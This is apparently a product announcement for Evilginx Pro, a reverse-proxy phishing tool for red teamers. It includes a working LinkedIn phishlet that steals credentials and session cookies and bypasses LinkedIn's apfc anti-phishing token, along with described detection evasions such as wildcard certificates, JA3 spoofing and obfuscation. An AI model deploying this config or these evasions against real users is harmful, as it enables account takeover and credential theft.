I've teased the idea of Evilginx Pro long enough and I think it is finally time to make a proper reveal of what it exactly is.

Evilginx Pro will be a paid professional version of Evilginx, with extra features and added advanced reverse proxy anti-detection techniques, available only to BREAKDEV RED community members.

If you've not yet applied to the community or you did not receive the approval e-mail from the first round, you can apply again as Round #2 of registration is currently ongoing.

The Pro version is catered to professional red teamers and penetration testers, who want to see better results during phishing engagements and who want to make the job easier for themselves and have more time to focus on other aspects of the tasks at hand.

Without further ado, let's jump into the product presentation.

Features

The list of exclusive features available in the Pro version is not final. First of all, I wanted to outline the features I've already implemented, which are guaranteed to be included on day one:

Evilpuppet

Evilpuppet is an additional module running alongside Evilginx, responsible for managing a Chromium browser in the background, for various purposes.

I wanted to make a quick note here that, since there are already multiple ways to detect headless browsers, the Evilpuppet background browser does not launch in headless mode, to prevent unnecessary detections, while still running with a hidden interface.

The main reason why Evilpuppet was created, was due to new reverse proxy phishing detections, introduced on popular websites.

The module serves two purposes:

Secret Token Extraction

More websites begin to implement extensive JavaScript obfuscation with the generation of what I call - "secret tokens". The secret token, in general, is an encrypted buffer holding telemetry data gathered from the client's web browser. The telemetry data often holds the URL of the visited website, which in the case of the phishing website, would hold the name of the attacker's phishing domain.

The secret token value is often transmitted as a hidden POST parameter. Once retrieved by the server, the token is decrypted and its content is analyzed, in search for anomalies, which could indicate that sign-in originated from a reverse proxy server, hosted on a different domain than the legitimate website.

If you're interested in learning how secret tokens are generated and how they are used to protect users from reverse proxy phishing, you can watch my x33fcon talk where I explained how to properly implement such protections.

The students of my Evilginx Mastery course can also learn how to evade secret token protection within the private Training Lab.

Sometimes reverse engineering the JavaScript responsible for gathering telemetry and generating the secret token's value, then hotpatching it, is simply not possible.

This is where Evilpuppet comes in.

Evilpuppet runs as a Node.js application, which controls a Chromium browser, automated through Puppeteer. The process of bypassing the secret token protection can be described as follows:

• When a phished user begins the login process, in which a secret token is generated, Evilpuppet will spawn a browser in the background and open the legitimate website's sign-in page.
• In the background session, Evilpuppet will enter the credentials supplied by the phished user and initiate the sign-in process.
• Once the secret token is generated and embedded within the transmitted HTTP packet, Evilpuppet will extract its value and send it back to Evilginx.
• The secret token generated within the reverse proxy phishing session is then replaced with the secret token extracted from the Evilpuppet background session.

You may be thinking how is this possible? Why isn't the secret token tied to the specific sign-in session to prevent the attacker from re-using secret tokens generated in different sessions?

Unfortunately, what makes it possible is the fact that HTTP communication is stateless by design. You can emulate the state by including specific session tokens as cookies or authorization headers, but this can all be emulated by the attacker. If we could tie a sign-in session to a TLS handshake, for example, this would be a different story. There was once a lot of buzz about the concept of Token Binding, but I believe the idea did not take off.

If you've recently tried using Evilginx to phish LinkedIn, you may have noticed the phished account is locked out immediately when a reverse proxy phishing attack succeeds. This happens, because Microsoft implemented reverse proxy phishing session detection, through the generation of a secret token.

You can see the secret token, transmitted with the POST login request as a hidden apfc parameter.

Evilginx Pro with Evilpuppet will capture the value of apfc parameter in the background browser session and inject it into a reverse proxy session, effectively circumventing the protection and making the LinkedIn server think the sign-in happened on a legitimate website.

Here is a short video of Evilginx Pro successfully phishing a LinkedIn user, while extracting a secret token with the background browser. As a bonus enjoy some extra Cyberpunk music I made!

NOTE: The background Chromium browser will be running in the background, on the Evilginx server and will not be visible. It is only visible in the video for demonstration purposes.

To learn more about how Evilpuppet can be automated with Evilginx Pro, you can look into the LinkedIn phishlet, which was used in the demo video:

min_ver: '3.0.0'
proxy_hosts:
  - {phish_sub: 'www', orig_sub: 'www', domain: 'linkedin.com', session: true, is_landing: true, auto_filter: true}
sub_filters:
  - {triggers_on: 'www.linkedin.com', orig_sub: '', domain: 'www.linkedin.com', search: '<\/head>', replace: '<style>#artdeco-global-alert-container {display: none !important;} .alternate-signin-container {display: none !important;}</style></head>', mimes: ['text/html']}
auth_tokens:
  - domain: '.www.linkedin.com'
    keys: ['li_at']
credentials:
  username:
    key: 'session_key'
    search: '(.*)'
    type: 'post'
  password:
    key: 'session_password'
    search: '(.*)'
    type: 'post'
login:
  domain: 'www.linkedin.com'
  path: '/login'
js_inject:
  - trigger_domains: ["www.linkedin.com"]
    trigger_paths: ["/login"]
    trigger_params: ["email"]
    script: |
      function lp(){
        var email = document.querySelector("#username");
        var password = document.querySelector("#password");
        if (email != null && password != null) {
          email.value = "{email}";
          password.focus();
          return;
        }
        setTimeout(function(){lp();}, 100);
      }
      setTimeout(function(){lp();}, 100);
evilpuppet:
  triggers:
    - domains: ['www.linkedin.com']
      paths: ['/checkpoint/lg/login-submit']
      token: 'apfc'
      open_url: 'https://www.linkedin.com/login'
      actions:
        - selector: '#username'
          value: '{username}'
          enter: false
          click: false
          post_wait: 500
        - selector: '#password'
          value: '{password}'
          enter: false
          click: false
          post_wait: 500
        - selector: 'button[type=submit]'
          click: true
          post_wait: 1000
  interceptors:
    - token: 'apfc'
      url_re: '/checkpoint/lg/login-submit'
      post_re: 'apfc=([^&]*)'
      abort: true

Evilpuppet support is already included in the official documentation, so please check that out if you want to learn how the evilpuppet section of a phishlet works.

For comparison, you can use the same phishlet with the public version of Evilginx and observe how the account will be locked when phished successfully when there is no Evilpuppet to help with injecting the legitimate apfc secret token.

Post-Phishing Automation

This feature is not yet completed, but the end goal is to allow Evilpuppet to use the captured session tokens and log into the phished service on behalf of the phished user.

Once logged in, it could be instrumented to perform specific actions on the phished user's account to change account settings or exfiltrate data.

The idea is to create a full-blown post-phishing automation framework similar to what Necrobrowser does in the Muraena project.

Wildcard TLS Certificates

Evilginx Pro is officially supporting the automatic retrieval and renewal of wildcard TLS certificates from LetsEncrypt.

One of the most annoying aspects of using Evilginx with LetsEncrypt was that whenever Evilginx requested the TLS certificates for all of the phishing subdomains, the TLS certificate for a given phishing domain would immediately be published within the Certificate Transparency Log.

Once the certificate lands in the log, dozens of automated scanners will begin scanning the domains attached to generated TLS certificates, looking for malicious intent. You could observe this happening in the Evilginx terminal with multiple unauthorized requests popping up to your phishing domain, right after the TLS certificate, through LetsEncrypt was issued.

Wildcard certificates do not carry the same problem. Even though wildcard certificates will land in the same Certificate Transparency Log, the automated scanners will have no idea what domains to scan, because the Common Name attached to the wildcard TLS certificate would look like *.baddomain.com and any subdomain could be used.

Using Evilginx Pro with wildcard certificates will prevent your phishing domains from being scanned when TLS certificates from LetsEncrypt are issued, allowing your phishing campaigns to remain undetected much longer.

JA3 Fingerprinting Evasion

Methods to detect reverse proxy phishing have been similar to methods to detect web scraping bots. Very often scraper bots would be written in a specific programming language like Java, Go or Python. Each of these languages implements an HTTP library, which holds specific fingerprintable characteristics.

One such fingerprinting method is called JA3 and it is more often implemented by major companies.

The idea is to detect the specific combination of TLS ciphers supported by the HTTP client willing to connect to the server. The list of TLS ciphers is exchanged during the TLS handshake. As an example, Google Chrome will have a different list of supported TLS ciphers than the HTTP library used in Go or Python.

Evilginx Pro will make sure to always imitate a list of TLS ciphers of popular web browsers, to evade any form of JA3 fingerprinting and make its connections look as close to casual web browser traffic as possible.

Daemonization and Multi-User Collaboration

Currently, Evilginx is both a client and a server, in one application. This makes Evilginx fairly easy to use, but it also introduces a set of problems, making it harder to deploy and manage at scale.

The only way to run Evilginx in the background, right now, is to execute it within a tmux or screen session. This complicates the process of launching Evilginx on boot, as the launch script needs to manage tmux sessions as well.  It also means that every instance of Evilginx needs to be controlled over an SSH connection, which is often not ideal.

My plan with Evilginx Pro is to make the server fully daemonized and allow it to be controlled through exposed admin API by Evilginx Pro client applications. Both the Evilginx server and Evilpuppet Node.js application would be running as daemons, awaiting connections from Evilginx clients.

Evilginx Pro server would expose a full API, accessible over a standard HTTPS connection on the default 443 port. API access would be protected with an authorization token to identify the Evilginx admin user.

This new client-server architecture would allow a multi-user collaboration across multiple Evilginx Pro instances. Every user with a valid Evilginx Pro license would be able to interact with any Evilginx Pro server instance, set up with the same license.

Evilginx Pro clients will look and feel the same way as the current Evilginx terminal UI. The only difference with Evilginx Pro will be that you'd be using one terminal to control multiple remote server instances. The introduction of a full-blown API to control Evilginx instances will also allow automating Evilginx server setup and, one day, it may even be possible to develop a web UI for Evilginx.

Licensing System

Important to note here is the fact that it will be required to have a valid BREAKDEV RED community account, in order to be eligible to obtain an Evilginx Pro license. This means that only people qualified to join the community will be allowed to purchase Evilginx Pro licenses. This is to limit the misuse of Evilginx Pro's extra offensive capabilities and make sure that only vetted personnel are using the Pro version.

Due to the separation of a server and a client in Evilginx Pro, communication with the BREAKDEV licensing server will only take place on the side of Evilginx client applications. Since Evilginx server instances are critical in terms of operational security during red team engagements or phishing simulations, they will not make any unnecessary outgoing connections to licensing servers. The only established connections will be the ones required for reverse proxy sessions to work properly.

Multiple Base Domains Support

At the moment, Evilginx allows the use of only a single base domain, configured globally, which is used by every activated phishlet. If your configured base domain is fake.com, every lure URL you generate, even for different phishlets, will use a hostname ending with fake.com.

Evilginx Pro allows more flexibility with the configuration of multiple base domains. These can later be assigned to individual phishlets or individual lures.

Phishlets will be assigned the last used domain from the list, which will be then automatically used for the generation of new lures, but you can also override the selected domain and pick a different one from the list of supported domains for each lure separately.

No Detectable Artifacts

I made sure to deprive Evilginx Pro of any identifiable artifacts and I do not only mean the removal of the infamous X-Evilginx header.

Evilginx Pro is much harder to identify by automated scanners and HTTP servers it connects to.

Server Stealth Overhaul

You will now have an option for how to handle unauthorized requests. At the moment, unauthorized requests would redirect the visitor to a different URL, through the injection of Location header in the HTTP response or throw a 403 Forbidden HTTP error.

Evilginx Pro allows you to either use the default method or:

• Display the contents of another website under the same domain, using a reverse proxy functionality similar to proxy_pass in Nginx.
• Respond with custom HTML content stored in the local directory.

HTML and JavaScript Obfuscation

Evilginx Pro implements much smarter techniques for evading phishing page detection.

All of the JavaScript or HTML content, injected through js_inject or hosted through lure redirectors will be now delivered dynamically obfuscated, making it much harder for signature detections to determine the hosted content as malicious.

Some of you have had a lot of success hosting your phishing pages behind additional obfuscation layers like Cloudflare. Some research has also been published describing how effective content obfuscation is, to protect phishing pages.

It makes sense that HTML and JavaScript obfuscation should be natively supported by Evilginx, without having to use external services to overcomplicate your infrastructure setup.

Auto-Deploy Scripts

Evilginx Pro comes with easy-to-use bash scripts to easily deploy Evilginx to external servers.

You can deploy Evilginx to the remote server as easily as by running a single command:

SSH_KEY_FILE=~/keys/ssh.key SSH_USER=admin ./deploy.sh 1.2.3.4

You can learn more about the automatic deployment script here. The usage may slightly change in the final product, but it will always remain as easy as using a single command.

Closed Source

I wanted to make note here that Evilginx Pro will not be released as open-source. This decision comes from the fact that I want to lower the risk of possible source code leaks, which could lead to unauthorized use of the tool.

I expect to make exceptions for companies, which need to perform due diligence, before using the tool, to have guarantees that the tool securely stores and manages critical operational data, to protect their own customers.

Final Thoughts

I expect Evilginx Pro to be released in Q4 2023 or Q1 2024, with the license price tag of 1200-1400 EUR per seat, billed annually. The price is not final and will depend heavily on product demand. The higher the demand, the lower the price will be.

There will be no limits to how many Evilginx Pro servers you deploy. The license will be required only by the Evilginx Pro client application, assigned to a specific user, from which it will be possible to communicate with all deployed servers. In short, every red teamer will require one named license to use Evilginx Pro to be able to connect to an unlimited number of Evilginx Pro server instances, created for the same license.

Everyone who has been accepted into the BREAKDEV RED community will soon receive a link to the form with several questions, through which I'll be gathering feedback on Evilginx Pro.

Thank you in advance if you spend the time to fill it out! Your answers will be used to make Evilginx Pro a better product.

If you haven't yet applied to become a member of the BREAKDEV RED community, round 2 of registrations is up! Please apply here.

Wish you all the best and as always expect updates to show up on my Twitter @mrgretzky.